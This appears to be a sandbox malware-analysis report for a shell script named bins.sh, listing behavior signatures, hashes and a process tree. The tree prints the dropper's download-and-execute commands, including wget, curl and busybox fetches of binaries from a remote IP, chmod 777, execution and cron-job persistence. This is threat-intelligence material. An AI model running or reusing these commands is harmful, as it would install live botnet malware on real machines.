Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/11/2024, 23:27

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241104-3fd5msskck
  • SHA256 2835c76202590f8f399672f9075da9d4ecf4cad9ad13f1d864081841188cf7cc
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2072) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:644
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:647
        • /usr/bin/wget
          wget http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • Writes file to tmp directory
          PID:650
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:668
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • Writes file to tmp directory
          PID:674
        • /bin/chmod
          chmod 777 SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • File and Directory Permissions Modification
          PID:676
        • /tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          ./SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • Executes dropped EXE
          PID:677
        • /bin/rm
          rm SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
            PID:679
          • /usr/bin/wget
            wget http://87.120.84.230/bins/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            2⤵
            • Writes file to tmp directory
            PID:680
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:681
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            2⤵
            • Writes file to tmp directory
            PID:687
          • /bin/chmod
            chmod 777 ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            2⤵
            • File and Directory Permissions Modification
            PID:691
          • /tmp/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            ./ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:692
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:694
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:695
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:698
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:699
                • /bin/rm
                  rm ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
                  2⤵
                    PID:709
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg
                    2⤵
                    • System Network Configuration Discovery
                    PID:713

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx

                      • Path /tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
                      • Size 99KB
                      • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                      • MD5 SHA1 SHA512 SSDEEP

                      ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD

                      • Path /tmp/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
                      • Size 177KB
                      • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                      • MD5 SHA1 SHA512 SSDEEP

                      tmp.OlfyOz

                      • Path /var/spool/cron/crontabs/tmp.OlfyOz
                      • Size 210B
                      • SHA256 0266bec1a0bcbec412bc5d0fa9b9eaa61e61ccc372eb7ba8da7a18e3560ee386
                      • MD5 SHA1 SHA512